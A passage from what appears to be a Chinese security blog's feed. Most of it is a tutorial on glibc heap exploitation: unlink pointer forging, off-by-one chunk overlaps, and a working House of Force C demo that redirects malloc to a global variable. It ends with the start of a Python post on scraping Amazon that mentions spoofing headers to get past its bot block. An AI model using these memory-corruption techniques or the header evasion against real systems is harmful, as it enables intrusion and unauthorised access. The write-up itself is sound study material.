*/</span></span><br><span class="line">    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* consolidate forward */</span></span><br><span class="line">    <span class="keyword">if</span> (!nextinuse) &#123;</span><br><span class="line">    unlink(av, nextchunk, bck, fwd);<span class="comment">//注意这个地方，处理的是nextchunk</span></span><br><span class="line">    size += nextsize;</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    clear_inuse_bit_at_offset(nextchunk, <span class="number">0</span>);</span><br></pre></td></tr></table></figure><p>这里有两种说法：<strong>向前合并</strong>和<strong>向后合并</strong>，这个前后的概念是<strong>越靠前越接近bins，早分配的靠前</strong>。假如此时有两个数据chunk1和chunk2，并且假设两者的地址是连续的，那么此时如果通过编辑数据，使得像chunk1分配数据的时候修改了chunk2的头部8个字节，将P位(IN_USE)修改成0，那么此时的chunk2在进行free的时候就会在检查过程中将chunk1误合并，在合并的过程中，就会发生unlink:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Take a chunk off a bin list */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> unlink(AV, P, BK, FD) &#123;                                               </span></span><br><span class="line">    FD = P-&gt;fd; <span class="comment">//P == &amp;chunk1                        </span></span><br><span class="line">    BK = P-&gt;bk;                     </span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>))         </span><br><span class="line">      malloc_printerr (check_action, <span class="string">&quot;corrupted double-linked list&quot;</span>, P, AV);  </span><br><span class="line">    <span class="keyword">else</span> &#123;                      </span><br><span class="line">        FD-&gt;bk = BK;                    </span><br><span class="line">        BK-&gt;fd = FD;</span><br><span class="line">      </span><br><span class="line">        <span class="comment">//large chunk do something</span></span><br><span class="line">        <span class="comment">//...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//注意到这里对数据进行了保护，下文会提到如何进行绕过</span></span><br></pre></td></tr></table></figure><p>看的有点迷糊，就自己做了个实验看看:<br>测试代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> *name,*age;</span><br><span class="line">    name = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">66</span>);</span><br><span class="line">    age = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">66</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;input your name:&quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, name);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;input age&quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, age);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;your name is %s\n&quot;</span>, name);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;your age is %s\n&quot;</span>, age);</span><br><span class="line">    <span class="built_in">free</span>(name);</span><br><span class="line">    <span class="built_in">free</span>(age);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>实验中分配地址为:<br>name:0x0804a008<br>age:0x0804a068<br>info:0x0804a0c8<br>padding:0x0804a128<br>（由于不存在相邻的free块，同时由于top chunk中的剩余位置也作为free chunk，导致此时至少需要四个块才能够形成chain）<br>然后查看内存中的状态为<br><img src="/2017/01/30/heap-overflow/heap-overflow-08.png" alt=""><br>可以看到，此时的0x0804a004和0x0804a04c已经之后的变量中分别存放了对应chunk的大小和当前的状态(0x9,表示当前的模块正在使用)。<br>在之后free了一个块后（这里我们将info先free），我们知道此时会诞生fb和bk，由于此时没有别的数据块，所以我们要直接指向自己:<br><img src="/2017/01/30/heap-overflow/heap-overflow-10.png" alt=""><br>此时注意到，bk和fd指向了一个位置，这个位置实际上为main_arena，同时这个main_arena中的地址+0x8的位置还要指向了这个分配的地址的起始位置（包括了prev_size），而当前地址指向的是padding的下一块的prev_size的地址.<br>当name也被free之后，main_arena变化为<br><img src="/2017/01/30/heap-overflow/heap-overflow-12.png" alt=""><br>当前位置上指着的内容变成了最初分配给name的prev_size的位置，并且<br><img src="/2017/01/30/heap-overflow/heap-overflow-13.png" alt=""><br>此时可以看出，已经形成了free chain，大致如下:<br><img src="/2017/01/30/heap-overflow/heap-overflow-14.png" alt=""><br>此时可以看出，<strong>晚释放的靠前，早释放的靠后</strong>。<br>在分配的时候，main_arena中的地址始终指向的是【下一个空闲块的起始地址】，而在main_arena+0x8和main_arena+0xc的位置中指向的是【当前空闲块的头部（，如果只剩头部的话，则指向自己表示此时为空闲】。同时，这个<strong>前和后</strong>的概念大概也懂了，大概就是：</p><ul><li>先分配的称为prev，后分配的称为next</li><li>prev离bins进，而next离bins远</li></ul><p>………………<br>那此时我们在回到原先思考的问题上。原先的状态如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">chunk2-&gt;fw = data;</span><br><span class="line">chunk1-&gt;bk = data;</span><br><span class="line">chunk2-&gt;bk = data;</span><br><span class="line">chunk1-&gt;fw = data;</span><br></pre></td></tr></table></figure><p>那么如果我们正确释放了chunk2之后再释放chunk1的话，那么此时会由于nextchunk=top chunk，使得正常释放，从而不进入unlink；而当我们企图误导程序，覆盖掉chunk2中的prev_size中的P位，让其以为chunk1也为空的时候，会发生这样的事情:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> unlink(AV, P, BK, FD) &#123;                                               </span></span><br><span class="line">    FD = P-&gt;fd; <span class="comment">//P == &amp;chunk1                        </span></span><br><span class="line">    BK = P-&gt;bk;                     </span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>))         </span><br><span class="line">      malloc_printerr (check_action, <span class="string">&quot;corrupted double-linked list&quot;</span>, P, AV);  </span><br><span class="line">    <span class="keyword">else</span> &#123;                      </span><br><span class="line">        FD-&gt;bk = BK;                    </span><br><span class="line">        BK-&gt;fd = FD;</span><br><span class="line">      </span><br><span class="line">        <span class="comment">//large chunk do something</span></span><br><span class="line">        <span class="comment">//...</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">套入上式，有</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">FD = 我们指定的内容，否则直接为该位置data</span></span><br><span class="line"><span class="comment">BK = 我们指定的内容，否则直接为该位置data</span></span><br><span class="line"><span class="comment">为了能够越过限制，此时我们需要伪造我们的bk和fd，</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">chunk1-&gt;bk = &amp;chunk1<span class="number">-0x8</span>;</span><br><span class="line">chunk1-&gt;fd = &amp;chunk1<span class="number">-0xc</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//由于chunk的结构我们可以知道如下</span></span><br><span class="line">FD-&gt;bk = chunk1-&gt;fd-&gt;bk = &amp;chunk1 <span class="number">-0x8</span>+<span class="number">0x8</span>;</span><br><span class="line">BK-&gt;fd = chunk1-&gt;bk-&gt;fd = &amp;chunk1 <span class="number">-0xc</span>+<span class="number">0xc</span>;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">此时正好可以绕过检测机制，并且此时将chunk1的地址指定在了指定的位置上</span></span><br><span class="line"><span class="comment">最最重要的是，此时如果free(chunk2)，会将chunk1中的地址指向我们指定的地址-0xc的位置</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>利用上述机制，当我们修改了chunk1中的相关信息时如图:<br><img src="/2017/01/30/heap-overflow/heap-overflow-15.png" alt=""><br>然后在unlink的时候，此时的FD = P-&gt;fd = &amp;chunk1_var-0xc,BK = P-&gt;bk = &amp;chunk1_var - 0x8,而此时的<br>FD-&gt;bk = BK;<br><code>就相当于*(&amp;chunk1_var - 0x8+0x8) = chunk1_var = &amp;chunk1_var - 0x8</code><br>同理，<br><code>BK-&gt;fd = FD &lt;===&gt; *(&amp;chunk1_var - 0xc + 0xc) = &amp;chunk1_var - 0xc</code><br>最终导致变为：</p><p><img src="/2017/01/30/heap-overflow/heap-overflow-16.png" alt=""><br>现在再次使用chunk1指针的时候，就能够往&amp;chunk1 - 0xc中写入内容，从而<strong>修改掉此时自己的值</strong>，可以作如下的事情:</p><h4 id="修改当前值为free的got值">修改当前值为free的got值</h4><p>这些位置往往是一个字符串空间，这样修改后，往往是可以打印或者修改的，于是【此时我们就能够打印free的真实地址，或者修改成system地址】</p><h3 id="堆溢出的方法">堆溢出的方法</h3><p>由于我们知道，能够实现上述步骤，必然要能够接触到某个堆块并且对其fd和bk进行修改，同时修改其chunksize从而引发unlink，那么我们首先就要能够【对某个堆块内容进行读写】，找到的溢出利用方式有如下几种:</p><h4 id="off-by-one-overwrite-allocated">off-by-one overwrite allocated</h4><p>A是发生有off-by-one的堆块，其中B和C是allocated状态的块。而且C是我们的攻击目标块。<br><img src="/2017/01/30/heap-overflow/heap-overflow-17.png" alt=""><br>我们的目标是能够读写块C，那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域（注意要保证inuse域的值为1，否则会触发unlink导致crash）以实现把C块给整个包含进来。通过把B给free掉，然后再allocated一个大于B+C的块就可以返回B的地址，并且可以读写块C了。<br>具体的操作是：</p><ol><li>构成图示的内存布局</li><li>off-by-one改写B块的size域(增加大小以包含C，inuse位保持1)</li><li>free掉B块</li><li>malloc一个B+C大小的块</li><li>通过返回的地址即可对C任意读写</li></ol><h4 id="off-by-one-overwrite-freed">off-by-one overwrite freed</h4><p>在这种情况下堆块布局依然是这样的<br><img src="/2017/01/30/heap-overflow/heap-overflow-17.png" alt=""><br>A是发生有off-by-one的堆块，其中B是free状态的块,C是allocated块。而且C是我们的攻击目标块。<br>我们的目标是能够读写块C，那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域（注意要保证inuse域的值为1）以实现把C块给整个包含进来。但是这种情况下的B是free状态的,通过增大B块包含C块，然后再allocated一个B+C尺寸的堆块就可以返回B的地址，并且可以读写块C了。</p><p>具体的操作是：</p><ol><li>构成图示的内存布局</li><li>off-by-one改写B块的size域(增加大小以包含C，inuse位保持1)</li><li>malloc一个B+C大小的块</li><li>通过返回的地址即可对C任意读写</li></ol><h4 id="off-by-one-null-byte">off-by-one null byte</h4><p>这种情况就与上面两种有所不同了，在这种情况下溢出的这个字节是一个’\x00’字节。这种off-by-one可能是最为常见的，因为诸如:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">buf=<span class="built_in">malloc</span>(<span class="number">124</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strlen</span>(str)==<span class="number">124</span>)</span><br><span class="line">&#123;</span><br><span class="line">   <span class="built_in">strcpy</span>(buf,str);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>就会产生这种null byte off-by-one，即拷贝一个字符串到一个同样长的缓冲区时，并未考虑到NULL字节。<br>相比于前两种，这种利用方式就显得更复杂，而且对内存布局的要求也更高了。<br>首先内存布局需要三个块<br><img src="/2017/01/30/heap-overflow/heap-overflow-17.png" alt=""><br>其中A,B,C都是allocated块，A块发生了null byte off-by-one,覆盖了B块的inuse位，使B块伪造为空。然后在分配两个稍小的块b1、b2，根据ptmalloc的实现，这两个较小块（不能是fastbin）会分配在B块中。然后只要释放掉b1，再释放掉C，就会引发从原B块到C的合并。那么只要重新分配原B大小的chunk，就会重新得到b2。在这个例子中，b2是我们要进行读写的目标堆块。最后的堆块布局如下所示：<br><img src="/2017/01/30/heap-overflow/heap-overflow-18.png" alt=""><br>布局堆块结构如ABC所示</p><ol><li>off-by-one覆盖B，目的是覆盖掉B的inuse位</li><li>free B</li><li>malloc b1,malloc b2</li><li>free C</li><li>free b1</li><li>malloc B</li><li>overlapping b2<br>这种利用方式成功的原因有两点:<br>通过prev_chunk()宏查找前块时没有对size域进行验证<br>当B块的size域被伪造后，下一块的pre_size域无法得到更新。</li></ol><h4 id="off-by-one-small-bin">off-by-one small bin</h4><p>这种方法是要触发unlink宏，因此需要一个指向堆上的指针来绕过fd和bk链表的check。(就是我们之前举例子的那种)<br><img src="/2017/01/30/heap-overflow/heap-overflow-19.png" alt=""><br>需要在A块上构造一个伪堆结构，然后覆盖B的pre_size域和inuse域。这样当我们free B时，就会触发unlink宏导致指向堆上的指针ptr的值被改成&amp;ptr-0xC(x64下为&amp;ptr-0x18)。通过这个特点，我们可以覆写ptr指针，如果条件允许的话，几乎可以造成无限次的write-anything-anywhere。</p><ol><li>在A块中构造伪small bin结构，并且修改B块的prev_size域和inuse域。</li><li>free B块</li><li>ptr指针被改为&amp;ptr-0xC</li></ol><h3 id="top-chunk">top chunk</h3><p>前面提到的都是修改small bin等类型，这里记录一下top chunk的控制:<br>首先我们提供一个参考程序:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> str[] = <span class="string">&quot;This value will be changed&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> *vul;</span><br><span class="line">    vul = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">16</span>);</span><br><span class="line">    <span class="built_in">strcpy</span>(vul, <span class="string">&quot;aaaaaaaaaaaaaaaaaaaa\xff\xff\xff\xff&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* and then, we get another chunk*/</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> evil_size = (<span class="type">unsigned</span> <span class="type">int</span>)str - <span class="keyword">sizeof</span>(<span class="type">int</span>)*<span class="number">2</span> - (<span class="type">unsigned</span> <span class="type">int</span>)(vul + <span class="number">20</span>);</span><br><span class="line">    <span class="type">void</span> *new_ptr = <span class="built_in">malloc</span>(evil_size);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* then malloc a new size*/</span></span><br><span class="line">    <span class="type">char</span>* str_target = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">30</span>);</span><br><span class="line">    <span class="built_in">strcpy</span>(str_target, <span class="string">&quot;I get it!\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(str);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们的目的，就是通过溢出攻击，控制malloc返回的数据地址，使其返回的地址能够指向我们的目标地址。<br>首先我们看一下分配了vul后的堆空间:<br><img src="/2017/01/30/heap-overflow/heap-overflow-20.png" alt=""><br>此时堆中只有两块，一个fastbin和一个top-chunk,其中top-chunk始终保持为使用状态,然后为了【使堆中空间足够大，从而不会使用mmap或者brk分配空间，我们使用ffffffff】修改其数据。<br>此时的top-chunk将会任认为自己的大小变为0xffffffff(最大的整数)，然后我来看一下malloc的过程:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">Void_t*</span><br><span class="line">_int_malloc(mstate av, <span class="type">size_t</span> bytes)</span><br><span class="line">&#123;</span><br><span class="line">  INTERNAL_SIZE_T nb;               <span class="comment">/* normalized request size */</span></span><br><span class="line"></span><br><span class="line">[...]</span><br><span class="line"></span><br><span class="line">  mchunkptr       victim;           <span class="comment">/* inspected/selected chunk */</span></span><br><span class="line">  INTERNAL_SIZE_T size;             <span class="comment">/* its size */</span></span><br><span class="line">  <span class="type">int</span>             victim_index;     <span class="comment">/* its bin index */</span></span><br><span class="line"></span><br><span class="line">  mchunkptr       remainder;        <span class="comment">/* remainder from a split */</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span>   remainder_size;   <span class="comment">/* its size */</span></span><br><span class="line"></span><br><span class="line">[...]</span><br><span class="line"></span><br><span class="line">  checked_request2size(bytes, nb);</span><br><span class="line"></span><br><span class="line">[...]</span><br><span class="line"></span><br><span class="line">  use_top:</span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">      If large enough, split off the chunk bordering the end of memory</span></span><br><span class="line"><span class="comment">      (held in av-&gt;top). Note that this is in accord with the best-fit</span></span><br><span class="line"><span class="comment">      search rule.  In effect, av-&gt;top is treated as larger (and thus</span></span><br><span class="line"><span class="comment">      less well fitting) than any other available chunk since it can</span></span><br><span class="line"><span class="comment">      be extended to be as large as necessary (up to system</span></span><br><span class="line"><span class="comment">      limitations).</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">      We require that av-&gt;top always exists (i.e., has size &gt;=</span></span><br><span class="line"><span class="comment">      MINSIZE) after initialization, so if it would otherwise be</span></span><br><span class="line"><span class="comment">      exhuasted by current request, it is replenished. (The main</span></span><br><span class="line"><span class="comment">      reason for ensuring it exists is that we may need MINSIZE space</span></span><br><span class="line"><span class="comment">      to put in fenceposts in sysmalloc.)</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line"></span><br><span class="line">    victim = av-&gt;top;</span><br><span class="line">    size = chunksize(victim);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ((<span class="type">unsigned</span> <span class="type">long</span>)(size) &gt;= (<span class="type">unsigned</span> <span class="type">long</span>)(nb + MINSIZE)) &#123;</span><br><span class="line">      remainder_size = size - nb;</span><br><span class="line">      remainder = chunk_at_offset(victim, nb);</span><br><span class="line">      av-&gt;top = remainder;</span><br><span class="line">      set_head(victim, nb | PREV_INUSE |</span><br><span class="line">        (av != &amp;main_arena ? NON_MAIN_ARENA : <span class="number">0</span>));</span><br><span class="line">      set_head(remainder, remainder_size | PREV_INUSE);</span><br><span class="line"></span><br><span class="line">      check_malloced_chunk(av, victim, nb);</span><br><span class="line">      <span class="keyword">return</span> chunk2mem(victim);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><p>大致内容如上，上文的关键代码为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">size = chunksize(victim);</span><br><span class="line">remainder_size = size - nb;</span><br><span class="line">remainder = chunk_at_offset(victim, nb);</span><br><span class="line">av-&gt;top = remainder;</span><br></pre></td></tr></table></figure><p>此时的size为我们top的大小（直接从chunk对应位置获得），此时我们的目的是修改av-&gt;top,也就是remainder<br>的内容，所以关键就在于<strong>修改nb</strong>，这个nb是我们下一次malloc的时候传入的，具体来说就是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> evil_size = (<span class="type">unsigned</span> <span class="type">int</span>)str - <span class="keyword">sizeof</span>(<span class="type">int</span>)*<span class="number">2</span> - (<span class="type">unsigned</span> <span class="type">int</span>)(vul + <span class="number">20</span>);</span><br><span class="line"><span class="type">void</span> *new_ptr = <span class="built_in">malloc</span>(evil_size);</span><br></pre></td></tr></table></figure><p>这个evil_size将会导致漏洞的发生！我们观察到，如果size为0xffffffff的话，其实size就相当于0x0(因为只要加上1就回归到0了)，然后我们这里的evi_size大小为<br>【str地址】 - 【sizeof int<em>2】（也就是str的地址如果真的是一个freebuf的话此时的状态） - 【vul+20】(这个正好就是av-&gt;top原先的地址)<br>我们可以观察此时的remainder_size的值为:<br>size + av-&gt;top’s address  - str’s address +sizeof int</em>2<br>此时的remainder应该会**向着原先top所在的位置-str所在的偏移+两个int的大小(prev_size和size)**的位置!也就是说，虽然此时给evil分配的位置还是正确的，但是这个av-&gt;top已经指向了错误的位置上，下一次我们分配地址的时候就会将【错的地址指向的数据分配出来】!那么此时我们就将获得一个指向运行中程序位置的地址，从而进行注入攻击！<br><img src="/2017/01/30/heap-overflow/heap-overflow-22.png" alt=""><br>此地址为str全局变量的位置</p><p>程序运行结果为:<br><img src="/2017/01/30/heap-overflow/heap-overflow-23.png" alt=""></p><p>第一次写这种文章，参考了各路大神的文章。可能有很多错误的地方，欢迎斧正。<br>文章相关资料参考:<br><a href="https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.XxxJTj&amp;articleid=334">https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.XxxJTj&amp;articleid=334</a><br><a href="https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.fS2yoI">https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.fS2yoI</a><br><a href="http://bobao.360.cn/learning/detail/3113.html">http://bobao.360.cn/learning/detail/3113.html</a><br><a href="https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/">https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前刷题遇到了不会做的内容，于是就把这个堆溢出给啃了&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>python-网页抓取</title>
    <link href="https://showlinkroom.me/2017/01/30/python-%E7%BD%91%E9%A1%B5%E6%8A%93%E5%8F%96/"/>
    <id>https://showlinkroom.me/2017/01/30/python-%E7%BD%91%E9%A1%B5%E6%8A%93%E5%8F%96/</id>
    <published>2017-01-30T09:26:23.000Z</published>
    <updated>2020-07-16T13:31:30.407Z</updated>
    
    <content type="html"><![CDATA[<p>这两天去朋友家玩，他说到了最近接了个活儿，需要帮人家整理网上书单，而且好像有点麻烦的样子。我一看，嘛这个需求，我用脚本写一个给你啦</p><h3 id="用-python-抓取网页书单">用 python 抓取网页书单</h3><span id="more"></span><h4 id="1-分析需求">1、分析需求</h4><p>需要将网页里面的特定的内容抓取，具体来说就是</p><p><strong>限定平装书，需要书名 作者名 出版时间 售价 出版社 从书名（如果有的话）内容简介 ISBN码</strong><br>这些内容在网页里面肯定是有的，所以我们只需要使用【正则表达式】将需要的内容提取出来即可。<br>然后他指定的内容范围为<br><strong>关键字为音乐鉴赏，美术鉴赏，艺术创作。</strong><br>这个。。amazon的参数好像蛮多。。。那我不如这里先偷个懒（那句话怎么说，KISS原则嘛），这里先将他的要求的网址记录下来<br><a href="https://www.amazon.cn/s/ref=sr_nr_p_n_binding_browse-b_0?fst=as%3Aoff&amp;rh=n%3A658390051%2Ck%3A%E9%9F%B3%E4%B9%90%E9%89%B4%E8%B5%8F%2Cp_n_binding_browse-bin%3A2038564051&amp;keywords=%E9%9F%B3%E4%B9%90%E9%89%B4%E8%B5%8F&amp;ie=UTF8&amp;qid=1486972240&amp;rnid=2038547051">音乐鉴赏</a><br><a href="https://www.amazon.cn/s/ref=sr_nr_p_n_binding_browse-b_0?fst=as%3Aoff&amp;rh=n%3A658390051%2Ck%3A%E7%BE%8E%E6%9C%AF%E9%89%B4%E8%B5%8F%2Cp_n_binding_browse-bin%3A2038564051&amp;keywords=%E7%BE%8E%E6%9C%AF%E9%89%B4%E8%B5%8F&amp;ie=UTF8&amp;qid=1486972204&amp;rnid=2038547051">美术鉴赏</a><br><a href="https://www.amazon.cn/s/ref=sr_nr_p_n_binding_browse-b_0?fst=as%3Aoff&amp;rh=n%3A658390051%2Ck%3A%E8%89%BA%E6%9C%AF%E5%88%9B%E4%BD%9C%2Cp_n_binding_browse-bin%3A2038564051&amp;keywords=%E8%89%BA%E6%9C%AF%E5%88%9B%E4%BD%9C&amp;ie=UTF8&amp;qid=1486972154&amp;rnid=2038547051">艺术创作</a><br>好吧长得都好像啊。。。</p><h4 id="2-设计功能">2、设计功能</h4><p>朋友要求是<strong>将上述的数据整理至一个excel</strong>，这种功能，上网找了一个python的封装的库应该就没有问题了。那么为了让其使用方便一点，我们这里最好支持一下交互界面什么的，依然打算拿pyqt撸一个出来，方便使用。<br>那么大概功能就是:</p><ul><li>将amazon中的网页爬下来</li><li>将爬下来的数据进行处理，取出我们自己需要的部分。</li><li>将数据整合到一个excel里</li><li>友好的用户交互界面</li></ul><h4 id="3-具体实现">3、具体实现</h4><p>简单的脚本，就拿python来做吧，这里使用requests来将数据取下来，但是注意一点，amazon其实是有防护机制的，如果你贸然的使用get方法访问的话，amazon会返回一个这样的东西给你:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!--</span></span><br><span class="line"><span class="comment">        To discuss automated access to Amazon data please contact api-services-support@amazon.com.</span></span><br><span class="line"><span class="comment">        For information about migrating to our APIs refer to our Marketplace APIs at https://developer.amazonservices.com.cn/index.html/ref=rm_5_sv, or our Product Advertising API at https://associates.amazon.cn/gp/advertising/api/detail/main.html/ref=rm_5_ac for advertising use cases.</span></span><br><span class="line"><span class="comment">--&gt;</span></span><br></pre></td></tr></table></figure><p>然后我尝试着伪造了一下头部，就绕过去了。。。。<br>然后就是提取这个页面里面的每个书对应的url，观察当前的页面，里面的url有一个特征词汇&quot;a-link-normal s-access-detail-page  a-text-normal&quot;，那么可以利用这个关键字，使用正则表达式将当前的数据提取出来。<br>由于我们要提取的是href中间的内容，我们首先要指定是**&lt;\a&gt;**中的内容,然后利用()将我们需要的内容返回</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 